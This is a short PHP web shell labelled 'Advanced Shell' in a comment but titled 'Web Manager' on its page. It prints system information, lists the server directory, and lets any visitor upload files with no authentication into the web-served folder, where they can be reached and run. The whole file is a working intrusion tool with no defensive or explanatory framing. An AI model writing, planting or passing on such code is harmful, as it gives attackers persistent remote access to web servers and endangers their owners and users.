<?php
/* Shell Name: Advanced Shell */
echo '<title>Web Manager</title>';
echo '<style>body{background:#222;color:#e8e8e8;font-family:monospace;padding:20px;}</style>';
echo '<h2>System Information</h2>';
echo '<pre>'.php_uname().'</pre>';
echo '<hr>';
echo '<h2>File Upload</h2>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="f" style="background:#333;color:#fff;padding:5px;">';
echo '<input type="submit" value="Upload" style="background:#555;color:#fff;padding:5px;margin-left:10px;cursor:pointer;">';
echo '</form>';
// File upload handler
if(isset($_FILES['f']) && $_FILES['f']['name']){
    $target = basename($_FILES['f']['name']);
    if(move_uploaded_file($_FILES['f']['tmp_name'], $target)){
        echo '<div style="background:#2ecc71;color:#fff;padding:10px;margin-top:10px;">Upload Success: <a href="'.$target.'" style="color:#fff;">'.$target.'</a></div>';
    }else{
        echo '<div style="background:#e74c3c;color:#fff;padding:10px;margin-top:10px;">Upload Failed</div>';
    }
}
// Directory listing
echo '<h2>Directory Contents</h2>';
echo '<div style="background:#333;padding:10px;overflow:auto;max-height:300px;">';
$files = scandir('.');
foreach($files as $file){
    $color = is_dir($file) ? "#3498db" : "#e8e8e8";
    echo '<div style="padding:3px;"><span style="color:'.$color.';">'.$file.'</span> - '.filesize($file).' bytes</div>';
}
echo '</div>';
?>